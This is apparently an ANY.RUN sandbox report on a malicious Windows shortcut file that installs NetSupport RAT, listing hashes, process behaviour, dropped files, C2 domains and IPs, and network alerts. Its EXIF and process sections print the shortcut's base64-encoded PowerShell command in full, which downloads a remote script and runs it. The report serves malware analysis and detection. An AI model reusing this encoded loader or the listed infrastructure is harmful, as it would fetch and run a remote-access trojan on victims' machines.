File name:

70b2c4a5ae788ed8b336168433216179685abbe15ae67075c3fedd9543e5edc9.lnk

Full analysis: https://app.any.run/tasks/a8aabbdf-f640-4759-b7d0-cdf7aaf15c58
Verdict: Malicious activity
Threats:

NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software.

Malware Trends Tracker     >>>
Analysis date: March 14, 2024, 16:21:39
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
netsupport
unwanted
remote
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=0, ctime=Mon Jan 1 00:00:00 1601, mtime=Mon Jan 1 00:00:00 1601, atime=Mon Jan 1 00:00:00 1601, length=0, window=hidenormalshowminimized
MD5:

20CC6087C66B064EF405E80CFCEBC1F9

SHA1:

2BAAAB44A71080E2D927AA60CA9E693500E680E1

SHA256:

70B2C4A5AE788ED8B336168433216179685ABBE15AE67075C3FEDD9543E5EDC9

SSDEEP:

1536:Zy8JwIve4Gg5xcXQlNYDkKPNuLCFm7PAQ:QedvFGg5xpYDkKPNu207R

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • powershell.exe (PID: 5032)

    • NETSUPPORT has been detected (SURICATA)

      • client32.exe (PID: 6328)

    • Connects to the CnC server

      • client32.exe (PID: 6328)

  • SUSPICIOUS

    • The Powershell connects to the Internet

      • powershell.exe (PID: 5032)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 5032)

    • Unusual connection from system programs

      • powershell.exe (PID: 5032)

    • Drops a system driver (possible attempt to evade defenses)

      • powershell.exe (PID: 5032)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 5032)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 5032)

    • Reads security settings of Internet Explorer

      • client32.exe (PID: 6328)

    • Connects to the server without a host name

      • client32.exe (PID: 6328)

  • INFO

    • Checks proxy server information

      • powershell.exe (PID: 5032)
      • client32.exe (PID: 6328)
      • slui.exe (PID: 3804)

    • Drop NetSupport executable file

      • powershell.exe (PID: 5032)

    • The executable file from the user directory is run by the Powershell process

      • client32.exe (PID: 6328)

    • Checks supported languages

      • client32.exe (PID: 6328)

    • Reads the computer name

      • client32.exe (PID: 6328)

    • Reads Environment values

      • client32.exe (PID: 6328)

    • Creates files or folders in the user directory

      • client32.exe (PID: 6328)

    • Reads the software policy settings

      • slui.exe (PID: 3804)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: (none)
TargetFileSize: -
IconIndex: (none)
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: powershell.exe
Description: pq2yH9YNjgnz8lAhVsOIPFfbaTRZ54xGCEuUdrBX01WoLK6veD7mw3ikcSQ MJt
RelativePath: ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments: -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AbgBlAHMALgBjAG8AcwBtAG8AcABlAG8AcABsAGUALgBpAG4ALwAxAHoAaAB5AC4AdAB4AHQAJwApACAAfAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgA=
IconFileName: C:\Windows\System32\notepad.exe
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe conhost.exe no specs #NETSUPPORT client32.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
3804C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
4248\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5032"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AbgBlAHMALgBjAG8AcwBtAG8AcABlAG8AcABsAGUALgBpAG4ALwAxAHoAaAB5AC4AdAB4AHQAJwApACAAfAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
6328"C:\Users\admin\AppData\Local\AppReadiness\client32.exe" C:\Users\admin\AppData\Local\AppReadiness\client32.exe
powershell.exe
User:
admin
Company:
NetSupport Ltd
Integrity Level:
MEDIUM
Description:
NetSupport Client Application
Exit code:
0
Version:
V12.70
Modules
Images
c:\users\admin\appdata\local\appreadiness\client32.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\users\admin\appdata\local\appreadiness\pcicl32.dll
Total events
13 918
Read events
13 884
Write events
34
Delete events
0

Modification events

(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
10
Suspicious files
3
Text files
7
Unknown types
2

Dropped files

PID
Process
Filename
Type
5032powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l1l3ebar.mvs.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5032powershell.exeC:\Users\admin\AppData\Local\F3ipuPF.zipcompressed
MD5:C352F6091CC21325F9FB39BD31659CAB
SHA256:B30574BAE6A7B307B51851FA0483A18209C198093D1B91FA1BD9F3907B347739
5032powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4rg5bkph.mp5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\msvcr100.dllexecutable
MD5:0E37FBFA79D349D672456923EC5FBBE3
SHA256:8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\Acx01000.sysexecutable
MD5:9DA9B9D0EBF1F2CE320EC8D42DD0480B
SHA256:9945D826CC61104B2F71259A47E2941B232F003BB727DCD0E543626AD7993FCC
5032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W7UEJZB7O1RTY9G9UHHG.tempbinary
MD5:3D8D9CEDA88EDE346C63B39C0FB8ED40
SHA256:5268EAC10692780399A6E5F6BEDA9EFC70A9BFE1AA87C4FA400A68910CC24315
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\nsm_vpro.initext
MD5:3BE27483FDCDBF9EBAE93234785235E3
SHA256:4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\client32.initext
MD5:2AB1A1A4BBB4CE9FEB537A9B0483F8DA
SHA256:C0720F41ABAF9103A4B226DF7D54B1D187CBDC275C68D51DE6E9CA98859B200F
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\HTCTL32.DLLexecutable
MD5:2D3B207C8A48148296156E5725426C7F
SHA256:EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\NSM.LICtext
MD5:866C96BA2823AC5FE70130DFAAA08531
SHA256:6A7C99E4BD767433C25D6DF8DF81BAA99C05DD24FA064E45C306FF4D954E1921
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
31
DNS requests
18
Threats
16

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5032
powershell.exe
GET
200
46.105.141.54:80
http://rahnoturkey.com/nyhjkszpcccggjukfgnattexybnfgziizyh.txt
unknown
text
3.26 Mb
unknown
2836
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
2836
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
2836
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
6328
client32.exe
GET
200
104.26.1.231:80
http://geo.netsupportsoftware.com/location/loca.asp
unknown
text
17 b
unknown
6328
client32.exe
POST
200
192.236.192.48:443
http://192.236.192.48/fakeurl.htm
unknown
binary
61 b
unknown
6328
client32.exe
POST
200
192.236.192.48:443
http://192.236.192.48/fakeurl.htm
unknown
binary
159 b
unknown
6328
client32.exe
POST
—
192.236.192.48:443
http://192.236.192.48/fakeurl.htm
unknown
—
—
unknown
4184
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D
unknown
binary
471 b
unknown
1628
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D
unknown
binary
314 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4828
svchost.exe
239.255.255.250:1900
—
—
—
unknown
1280
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2836
svchost.exe
40.126.31.69:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5032
powershell.exe
66.85.138.70:443
nes.cosmopeople.in
SSASN2
US
unknown
5032
powershell.exe
46.105.141.54:80
rahnoturkey.com
OVH SAS
FR
unknown
2836
svchost.exe
20.190.159.23:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2836
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
6328
client32.exe
104.26.1.231:80
geo.netsupportsoftware.com
CLOUDFLARENET
US
unknown
6328
client32.exe
192.236.192.48:443
parabmasale.com
HOSTWINDS
US
unknown
6908
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown

DNS requests

Domain
IP
Reputation
nes.cosmopeople.in
  • 66.85.138.70
unknown
rahnoturkey.com
  • 46.105.141.54
unknown
ocsp.digicert.com
  • 192.229.221.95
whitelisted
geo.netsupportsoftware.com
  • 104.26.1.231
  • 172.67.68.212
  • 104.26.0.231
unknown
parabmasale.com
  • 192.236.192.48
unknown
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
www.bing.com
  • 104.126.37.171
  • 104.126.37.139
  • 104.126.37.154
  • 104.126.37.145
  • 104.126.37.177
  • 104.126.37.162
  • 104.126.37.137
  • 104.126.37.176
  • 104.126.37.155
whitelisted
arc.msn.com
  • 20.103.156.88
whitelisted
slscr.update.microsoft.com
  • 40.127.169.103
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted

Threats

PID
Process
Class
Message
5032
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
6328
client32.exe
Potential Corporate Privacy Violation
ET POLICY NetSupport GeoLocation Lookup Request
6328
client32.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Checkin
6328
client32.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Response
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Checkin
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Response
6328
client32.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Checkin
4 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
70b2c4a5ae788ed8b336168433216179685abbe15ae67075c3fedd9543e5edc9.lnk